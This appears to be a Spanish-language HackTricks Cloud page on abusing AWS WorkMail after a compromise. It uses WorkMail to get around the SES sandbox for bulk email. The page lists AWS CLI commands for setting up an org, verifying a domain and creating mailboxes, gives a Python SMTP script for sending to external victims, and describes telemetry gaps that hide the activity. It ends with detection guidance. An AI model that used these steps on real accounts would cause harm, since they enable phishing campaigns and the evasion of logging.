AWS - WorkMail Post Exploitation

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abusar de WorkMail para eludir el sandbox de SES

Incluso si SES está limitado al sandbox (solo receptores verificados, ~200 msgs/24h, 1 msg/s), WorkMail no tiene una restricción equivalente. Un atacante con claves de largo plazo puede desplegar infraestructura de correo desechable y empezar a enviar inmediatamente:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notas:

  • Límite por defecto de recipient cap documentado por AWS: 100,000 external recipients/day per org (agregado entre usuarios).
  • La actividad de verificación de dominio aparecerá en CloudTrail bajo SES pero con invokedBy: workmail.<region>.amazonaws.com, por lo que los eventos de verificación de SES pueden corresponder a la configuración de WorkMail en lugar de campañas de SES.
  • Los usuarios de buzón de WorkMail se convierten en persistencia a nivel de aplicación independiente de los usuarios IAM.

Sending paths & telemetry gaps

Web client (WorkMail UI)

  • Aparece como eventos ses:SendRawEmail en CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, por lo que la IP real del cliente queda oculta.
  • requestParameters still leak sender (source, fromArn, sourceArn, configuration set) para correlacionar con dominios/buzones recién verificados.

SMTP (stealthiest)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP sobre SSL) con la contraseña del buzón.
  • No CloudTrail data events se generan para la entrega SMTP, incluso cuando los SES data events están habilitados.
  • Los puntos de detección ideales son el provisionamiento de org/domain/user y los ARNs de identidad de SES referenciados en posteriores eventos web SendRawEmail.
Ejemplo de envío SMTP a través de WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Consideraciones de detección

- Si WorkMail no es necesario, bloquéalo mediante **SCPs** (`workmail:*` deny) a nivel de la organización.
- Genera alertas sobre aprovisionamiento: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, y verificaciones de SES con `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Vigila eventos anómalos **`ses:SendRawEmail`** donde los ARNs de identidad hagan referencia a dominios nuevos y la IP/UA de origen sea `workmail.<region>.amazonaws.com`.

## Referencias

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>